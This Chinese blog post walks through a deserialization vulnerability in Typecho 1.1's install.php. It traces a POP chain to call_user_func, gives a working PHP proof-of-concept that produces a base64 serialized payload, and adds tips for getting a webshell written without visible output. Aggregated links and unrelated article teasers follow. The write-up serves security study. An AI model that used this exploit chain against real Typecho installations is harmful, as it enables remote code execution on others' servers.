环境搭建

源码下载:https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip

下载后部署到web根目录,然后进行安装即可,其中注意要提前在mysql中创建一个对应的数据库.

漏洞分析

漏洞起始点前的障碍清除

先是一个refer检测,填写一个站内地址即可

$_SERVER中到底哪些是可以通过客户端进行控制的呢???

漏洞起始点

全局搜索所有的__wakeup函数和__destruct函数,但似乎都没有利用点

按照之前的思路,我一般就放弃了,但这题,让我见识了新思路。就是只要是用户可控的,可能在某一点没办法利用,但可能在其余的地方被利用

按照大师傅的思路,跟着输入流继续往下走

可以看到,$config可控,此时的不就会触发__toString了嘛!!!!

全局跟踪__toString

不得不说,phpstorm还是好啊,不仅支持函数预览,不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图,后三个为有函数体的,前面没有函数体的,会微微泛黄

漏洞搜寻-测试点1

最开始看到这里的时候,我感觉都可以形成链子了,$callback $args 都可以控制

最后失败了,原因是这里的$callback是静态变量中的,如果是$this就可以了。。

漏洞搜寻-测试点2

不得不说这一段是真的长,只能慢慢看。看了好久,似乎没啥发现。。。

看了其他文章,才发现这里涉及__get触发--也就是访问了非public变量

这样的话,我们又开始要全局追踪__get函数了

只能说有点浮躁,不愿意继续往下跟踪,看了所有的都没发现漏洞。。。

看到了非常nice的函数!!!

回过头分析,判断确实都可控,直接构造pop链

install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)

POC

<?php

    class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params['screenName'] = -1; //payload
$this->_filter = array("phpinfo");
} } class Typecho_Feed{
private $_type = "ATOM 1.0";
private $_charset = "UTF-8";
private $_lang = "zh";
private $_items = array(); public function __construct(){
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['categoty'] = array(new Typecho_Request());
}
} $a = array();
$a['adapter'] = new Typecho_Feed(); echo base64_encode(serialize($a));

成功

构造POC发现的问题

  1. 类中的数据序列化前,确保它的访问属性保持一直,避免反序列化不成功!!!
  2. 最开始构造了一个POC,结果总是返回一个数据库错误,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了,所以会导致开始的目标信息无法输出。

    解决办法:调试的时候手动添加exit提前退出。实际情况下,就控制程序不要走Exception,避免ob_end_clean()清除缓冲区
  3. 对于2的问题,只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时,也是可以的。

ENDING

反序列化就是多跟,多联想。只要思路广,链子永不断!!!

[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell的更多相关文章

  1. 转载--Typecho install.php 反序列化导致任意代码执行

    转载--Typecho install.php 反序列化导致任意代码执行 原文链接(http://p0sec.net/index.php/archives/114/) 0x00 前言 漏洞公布已经过去 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. Jackson序列化和反序列化Json数据完整示例

    Jackson序列化和反序列化Json数据 Web技术发展的今天,Json和XML已经成为了web数据的事实标准,然而这种格式化的数据手工解析又非常麻烦,软件工程界永远不缺少工具,每当有需求的时候就会 ...

  4. 【转】用ASP.NET加密Cookie数据

    来源:http://www.cnblogs.com/taizhouxiaoba/archive/2009/02/05/1384772.html Cookie中的数据以文本的形式存在客户端计算机,考虑它 ...

  5. [android]-如何在向服务器发送request时附加已保存的cookie数据

    [android]-如何在向服务器发送request时附加已保存的cookie数据 应用场景:在开发android基于手机端+服务器端的应用时,登陆->获取用户信息->获取授权用户相关业务 ...

  6. Typecho V1.1反序列化导致代码执行分析

    0x00  前言     今天在Seebug的公众号看到了Typecho的一个前台getshell分析的文章,然后自己也想来学习一下.保持对行内的关注,了解最新的漏洞很重要. 0x01  什么是反序列 ...

  7. curl获得cookie数据<转>

    CURL *curl; CURLcode res; struct curl_slist *headers = NULL; curl_global_init(CURL_GLOBAL_ALL); curl ...

  8. go-redis 基于beego正确使用序列化存储数据和反序列化获取数据

    安装go-redis // 安装命令 go get github.com/gomodule/redigo/redis // 导入使用 import( "github.com/gomodule ...

  9. Cookie默认不设置path时,哪些请求会携带cookie数据

    默认不设置path的时候,只会在请求和servlet同路径的情况下才会携带cookie中存储的数据,包含同级目录和下级目录 例如: 在http://localhost:8080/day01/test/ ...

随机推荐

  1. 绝世好题(DP)

    题目链接:绝世好题 暴力就不用说了,和lis神似,O(n2)妥妥的挂掉,但可以得大部分分(好像是90,80)... 考虑优化,来一发非正解的优化: #include<bits/stdc++.h& ...

  2. SPOJ GSS8 - Can you answer these queries VIII | 平衡树

    题目链接 这一道题的修改操作用平衡树都很容易实现,难处理的是询问操作. 要想解决询问操作,只要知道如何在平衡树上快速合并左右两个区间的答案即可. 设$Ans_{[l,r]}^k=\sum\limits ...

  3. ICMP 协议仿真及ping命令用途

    1.实验目的 加深对 IPv4 协议首部各定义域的理解,掌握路由表的结构和基本配置命令,熟悉 ICMP 的调试操作. 2.实验原理 IPv4 协议定义,网络层协议的相关 RFC 定义和描述. 3.实验 ...

  4. js中的特数值-null-undefined-NaN

    一.补充 1.js中的三大特殊数据:undefined.null.NaN NaN :非法的数值运算得到的结果 特殊之处: 是一个数值型数据,但不是一个数字 NaN不等于任何值,和任何数据都不相等,Na ...

  5. Linux ns 5. IPC Namespace 详解

    文章目录 1. 简介 2. 源码分析 2.1 copy_ipcs() 2.2 ipcget() 2.3 ipc_check_perms() 2.4 相关系统调用 参考文档: 1. 简介 进程间通讯的机 ...

  6. MarkDown学习内容总结

    MarkDown学习内容 标题 使用方法:通过 # 的个数实现多级标题. 举例如下: 一级标题格式为:# + 空格 + 标题名: 二级标题格式为:## + 空格 + 标题名: 三级标题格式为:### ...

  7. SeleniumLibrary 主要关键字 基于python3

    关键字的解释 https://blog.csdn.net/ak739105231/article/details/88926995 click element 都是元素点击事件:不赘述 click l ...

  8. Java String 转成 二位数组

    ... package str; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; impo ...

  9. 菜鸡的Java笔记

    1.注释 在JAVA中对于注释有三种: 单行注释:// 多行注释:/*--*/ 文档注释:/**--*/ 2.关键字和标识符 在程序中描述类名称,方法名称,变量等概念就需要使用标识符来定义.而在JAV ...

  10. 多线程合集(一)---信号量,锁,以及并发编程,自定义任务调度和awaiter

    引言 在后端开发中,多线程技术总是后端开发中常用到的技术,那什么是多线程呢,在操作系统中,程序运行的最小单位是进程,那线程则是进程里面的最小单位,关系是一对多的关系,而线程的调度,是由操作系统的时间片 ...